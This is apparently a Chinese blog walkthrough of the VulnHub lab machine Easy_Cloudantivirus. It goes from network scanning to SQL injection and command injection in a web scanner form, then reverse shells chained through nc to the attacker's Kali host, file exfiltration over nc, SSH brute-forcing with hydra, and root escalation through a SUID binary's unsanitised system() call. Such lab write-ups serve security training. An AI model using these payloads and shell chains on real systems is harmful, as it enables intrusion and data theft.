yongz
发布于 2023-01-07 / 0 阅读
0

Easy_Cloudantivirus

Easy_Cloudantivirus

1 信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。

  • 首先查看 Kali IP 地址:

┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.105  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::adc5:106b:ff3c:9390  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a8:8a:0b  txqueuelen 1000  (Ethernet)
        RX packets 24  bytes 10921 (10.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 549  bytes 40698 (39.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
  • 扫描当前网段,发现靶机 IP 地址:

┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: 192.168.56.105
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:1a       (Unknown: locally administered)
192.168.56.100  08:00:27:ea:40:88       PCS Systemtechnik GmbH
192.168.56.107  08:00:27:1e:54:35       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.987 seconds (128.84 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:

┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.107
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 02:31 EST
Nmap scan report for 192.168.56.107
Host is up (0.00058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 08:00:27:1E:54:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 22,8080 -sV 192.168.56.107
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 02:32 EST
Nmap scan report for 192.168.56.107
Host is up (0.00057s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
MAC Address: 08:00:27:1E:54:35 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.64 seconds
  • 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

image-20230830222318218
  • 只有一个输入框,需要使用邀请码登录。没啥多余的东西,这时一般是存在两种方法:

    • 暴力破解

    • SQL 注入

2 SQL 注入

  • 在输入框进行测试,当使用双引号时,页面出现报错:

  • 并且在页面上出现了 SQL 查询语句:

if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

select * from code where password="' + password + '"

select * from code where password=" "
  • 发现闭合符号为双引号,尝试闭合:

" or 1 = 1 --+
  • 闭合成功,按钮变为 Scan,扫个 hello 试试:

3 命令执行

  • 猜测后端代码逻辑为,尝试是否存在命令执行:

scan hello

scan hello ; ls
  • 发现执行成功,显示出文件:

4 Shell 反弹

  • 由于对端是 Linux 系统,查看一下是否存在 NC:

hello | which nc
  • 发现存在有 NC,使用 NC 进行 Shell 反弹:

## Kali 上使用 NC 开启监听
nc -lvvp 4444

┌──(root㉿kali)-[~]
└─# nc -lvvp 4444                     
listening on [any] 4444 ...

## 在靶机上进行反弹
hello | nc 192.168.56.105 4444 -e /bin/sh # 执行失败,可能是此版本的 NC 不支持 -e 参数

## 在 Kali 上开启两个监听端口
nc -lvvp 3333
nc -lvvp 4444

## 在靶机上反弹
hello |nc 192.168.56.105 3333 |/bin/bash |nc 192.168.56.105 4444 # 当不支持 -e 参数时,使用 NC 进行串联

5 文件传输

  • 在当前目录下发现了一个 SQL 文件,使用 NC 将其下载到 Kali 上:

## 在 Kali 上再开一个 NC 监听用于传输文件
nc -lvvp 5555

## 在 NC 的 3333 端口上进行文件传输
nc 192.168.56.105 5555 < database.sql
  • 经过判断,发现是一个 sqlite 文件,将其导入到 sqlite 中查看:

┌──(root㉿kali)-[~]
└─# sqlite3
SQLite version 3.39.2 2022-07-21 15:24:47
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open db.sql
sqlite> .database
main: /root/db.sql r/w
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE `code` (
        `password`      TEXT
);
INSERT INTO code VALUES('myinvitecode123');
INSERT INTO code VALUES('mysecondinvitecode');
INSERT INTO code VALUES('cloudavtech');
INSERT INTO code VALUES('mostsecurescanner');
COMMIT;
  • 建档尝试了一下,发现是开头登录的邀请码,好像没啥用,那就先放一放。

  • 查看一下当前靶机的所有用户:

  • 发现两个用户,但是好像也没用。

6 SSH 爆破

  • 根据上面数据库文件找到的密码和此处找到的用户,使用 hydra 进行爆破:

  • 创建用户、密码字典:

## user.txt
vim user.txt

root
cloudav
scanner

## pass.txt
vim pass.txt

myinvitecode123
mysecondinvitecode
cloudavtech
mostsecurescanner
  • 输入如下命令进行 SSH 爆破:

hydra -L user.txt -P pass.txt ssh://192.168.56.107
  • 爆破失败…

7 SUID 提权

  • 再次去翻一翻文件,发现一个文件的权限不大对劲:

cd .. | ls -al
  • 查看一下源码文件内容:

cat update_cloudav.c

#include <stdio.h>

int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}

char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}
  • 其中有句:This tool lets you update antivirus rules, Please supply command line arguments for freshclam,翻译一下是说明可以在后面添加参数,尝试一下:

## 随便加一个参数
./update_cloudav "123" # 显示报错:ERROR: /var/log/clamav/freshclam.log is locked by another process

## 不管他,尝试命令执行
./update_cloudav "123 | ls" # 执行成功!
  • 既然上述命令执行可以实现,再来一次 NC Shell 反弹:

## 在 Kali 上开启两个监听端口
nc -lvvp 6666
nc -lvvp 7777

## 在靶机上反弹
./update_cloudav "123 |nc 192.168.56.105 6666 |/bin/bash |nc 192.168.56.105 7777"
  • 提权成功!打靶结束。

8 注意事项

  • 在使用 SQL 注入时,也可以使用 BurpSuite 进行爆破,但是很容易扫崩,需要控制一下速率。